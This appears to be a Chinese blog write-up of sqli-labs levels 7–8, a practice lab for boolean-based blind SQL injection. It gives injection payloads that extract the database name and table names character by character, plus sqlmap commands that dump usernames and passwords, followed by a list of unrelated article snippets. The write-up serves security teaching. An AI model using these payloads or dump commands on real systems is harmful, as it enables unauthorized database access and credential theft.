sqli-labs靶场通关笔记:第7-8关 布尔盲注

第七关

1.审题

这里判断出是'))闭合,但是页面只有正确和错误的回显状态,报错的回显也是固定的,没有显示报错具体信息。

这关使用的方法是布尔盲注。为什么叫布尔盲注?因为它返回的结果只有true和false 两个值,攻击者需要通过返回的布尔值去猜测结果,就像盲人一样。

2.思考

(1)猜长度

length()函数是计算字符串长度,先构造一个简单的语句。

//判断当前数据库名的字符串长度是否大于10;
?id=1')) and length(database()) > 10 --+

通过页面回显,可以判断数据库名称长度大于5但是小于10,利用二分法最后猜测出数据库名的长为8个字符。

已经知道了数据库名的长,假设再去猜测每一位上的字符,是不是就可以得到数据库名称。

(2)猜位的字符

substr()函数作用是截取指定位置的字符,ascii()函数作用是返回字符的ascii码值(0-255范围的整数)。

//判断数据库名称的第一位字符是否在大写字母范围内;
?id=1')) and ascii(substr(database(),1,1)) between 65 and 90--+

虽然ascii码的值是从0-255,但字母A-Z的范围是65-90,a-z范围是97-122。首先判断字符是不是字母,然后进一步缩小猜测范围。

这里判断出第一位字符是小写字母,再利用二分法猜测具体字母,最后得出首字符是s。

那么通过逐步猜测,就可以拿到数据库的名称。再结合limit()函数去枚举数据库下的表名,字段,最后拿到想要的数据。

//查询当前数据库下第一张表的首位字符是否为小写字母;
?id=1')) and 
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)
) 
between 97 and 122 --+

3.做法

(1)手工注入

根据思考的逻辑去逐步猜测数据。

(2)工具注入

 sqlmap的简单使用

//查询数据库

sqlmap -u 'http://xx.xx.xx/?id=1' --dbs

//查询指定数据库security中的表

sqlmap -u 'http://xx.xx.xx/?id=1' -D'security' --tables

//查询指定表users中的字段

sqlmap -u 'http://xx.xx.xx/?id=1' -D'security' -T'users' --columns

//查询指定字段的数据

sqlmap -u 'http://xx.xx.xx/?id=1' -D'security' -T'users'  -C'username,password' --dump

 

第8关

这里也只有两种页面显示,图二没有任何回显,但可以理解为报错,实际上这关把输出报错的代码注释掉了。

判断出是单引号闭合,利用布尔盲注解题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/90769.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/90769.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

理解支持向量机(SVM):理论、数学和实现的综合指南

支持向量机(SVMs)是强大的监督学习算法,用于分类和回归任务,尽管它们主要用于分类。由Vladimir Vapnik及其同事在1990年代引入,SVMs基于统计学习理论,特别适用于需要将数据点稳健分离到不同类别的任务。本博…

使用Navicat对PostgreSQL数据表添加列,自动记录当前行的添加日期

点开表设计,向如下这样一个字段: 字段名称可以自定义,博主这里叫做:add_date_time类型选择:timestamp长度写成:6默认值输入:CURRENT_TIMESTAMP 添加行:默认值:

VR协作海外云:跨国企业沉浸式办公解决方案

随着全球化进程加速,VR协作海外云正成为跨国企业数字化转型的核心解决方案。本文将深入解析这项技术如何突破地理限制,实现沉浸式远程协作,并探讨其在跨文化团队管理、实时3D数据交互等场景中的独特优势。 VR协作海外云:跨国企业沉…

[ESP32]VSCODE+ESP-IDF环境搭建及blink例程尝试(win10 win11均配置成功)

ps:这是你为了点灯最繁琐的一次 1.软件下载 vscode下载地址:Documentation for Visual Studio Codeesp_idf下载地址:https://dl.espressif.cn/dl/esp-idf/?idf4.4 (从上往下第三) 2.软件安装 可以均默认安装,但建议不要放在C盘&…

tailwindcss详解

Tailwind CSS 详解:实用主义的现代 CSS 框架 Tailwind CSS 是一个功能优先(utility-first)的 CSS 框架,它通过提供低级别的实用类来快速构建自定义设计,而无需离开 HTML 文件。以下是全面解析: 一、核心概念…

[spring6: TypeFilter MetadataReader MetadataReaderFactory]-源码解析

源码 MetadataReaderFactory MetadataReaderFactory 是用于创建 MetadataReader 实例的工厂接口,支持通过类名或资源读取类的元数据并可实现缓存优化。类型类/接口名功能描述是否需要加载类访问方式抽象接口AnnotatedTypeMetadata访问某类型(类或方法&am…

基于redis的分布式session共享管理之销毁事件不生效问题

一、前言首先介绍下分布式session共享管理在Springboot项目中,经常提到分布式的概念,当实际部署应用后,多台服务器各自存储用户登录会话无法共享,导致操作A按钮还是正常,操作B按钮就提示登录过期需要重新登录。这是因为…

技术面试问题总结二

一、lvs的四种工作模式: LVS 有四种主要工作模式:NAT 模式、DR 模式、TUN 模式和Full-NAT 模式 1、NAT模式: 工作原理 LVS 作为客户端和真实服务器(RS)之间的中间节点,接收客户端请求后,修改请求的目标…

软考(软件设计师)软件工程-软件过程模型,敏捷开发

软件过程模型 瀑布模型 #mermaid-svg-daxck2eQmqfYelkV {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-daxck2eQmqfYelkV .error-icon{fill:#552222;}#mermaid-svg-daxck2eQmqfYelkV .error-text{fill:#552222;stro…

MySQL 中图标字符存储问题探究:成因、解决方案及单字段编码调整的利弊分析——仙盟创梦IDE

在 MySQL 数据库应用中,常出现无法正确保存图标字符,读出时显示为 “????” 的问题。本文深入剖析了该问题产生的原因,主要涉及字符编码设置不匹配等因素。同时,提出了全面的解决方案,包括全局和单字段的字符编码调…

快速上手UniApp(适用于有Vue3基础的)

作为一位有Vue3基础的开发者,学习UniApp将会是一个相对平滑的过程。UniApp是一个使用Vue.js开发跨平台应用的前端框架,可以编译到iOS、Android、H5以及各种小程序平台。 一、UniApp简介 UniApp是基于Vue.js的跨平台开发框架,具有以下特点&a…

background和background-color的区别

前言:由于全局切换变量时,发现空页面按钮变量颜色未生效,审查元素发现变量未定义。实际上是背景色由纯色变成了渐变色,而background-color不支持渐变色导致变量不生效特性backgroundbackground-color功能设置‌所有‌背景属性&…

Vue Vue-route (5)

Vue 渐进式JavaScript 框架 基于Vue2的学习笔记 - Vue-route History模式和路由懒加载 目录 History模式 设置history模式 后端配置 Apache 路由懒加载 配置 总结 History模式 设置history模式 Vue-route默认hash模式——使用URL的hash来模拟一个完整的URL&#xff0c…

家用智能摄像机PRV文件删除的恢复方法

家用智能摄像头一般采用的是mp4或者mov视频方案,这一类方案文件通用性强、使用简单,以MP4为例无论是APP在线播放还是TF卡接电脑查看都很轻松。即便如此,有些厂商还是走上了“自定义”的道路,自定义的文件结构导致无法正常播放&…

聊下easyexcel导出

直接上干货&#xff0c;首先pom文件引入依赖 <dependency><groupId>com.alibaba</groupId><artifactId>easyexcel</artifactId><version>3.1.1</version></dependency>接下来是java代码 public void export(List<Liquidity…

[Python] Flask 多线程绘图时报错“main thread is not in main loop”的解决方案

在构建基于 Flask 的后端服务过程中,使用 matplotlib 绘图时,很多开发者会遇到一个经典的运行时错误: RuntimeError: main thread is not in main loop这通常出现在服务开启多线程时调用 matplotlib,本文将从原理、解决方式到部署建议进行全面解析。 一、问题来源:matpl…

dbEaver连接hbase,各种问题的终极解决

网上有不少文章&#xff0c;但基本都不行&#xff0c;主要还是hbase版本和phoenix版本的问题&#xff0c;经我测试&#xff0c;如下方法保证能连接成功。 1、下载phoenix: https://phoenix.apache.org/download.html 要选择和你的hbase版本对应的版本。 2、解压phoenix-hbase-2…

selenium中find_element()用法进行元素定位

1. 导入必要的模块首先需要导入 By 类&#xff1a;from selenium.webdriver.common.by import By2. 常用定位方式(1) 通过ID定位element driver.find_element(By.ID, "username") element.send_keys("testuser") # 输入内容 (2) 通过Name定位element dr…

第八讲~~数据库技术

前言&#xff1a;什么是数据库&#xff1f;存储数据的仓库。常见的数据库有哪些&#xff1f;————SQL Server&#xff08;数据库较大 5G&#xff09;————Access————Oracle&#xff08;大型数据库700多兆-200多兆&#xff09;&#xff08;付费&#xff09;————My…

无人机雷达模块运行与技术解析

一、运行方式1. 传感器数据采集 雷达发射高频电磁波&#xff08;X/Ku波段或毫米波&#xff09;&#xff0c;接收无人机反射的回波信号。 多传感器协同&#xff1a;雷达与光电、无线电侦测、声学设备并行扫描空域&#xff0c;覆盖不同频段与物理特性&#xff08;如热信号、声纹…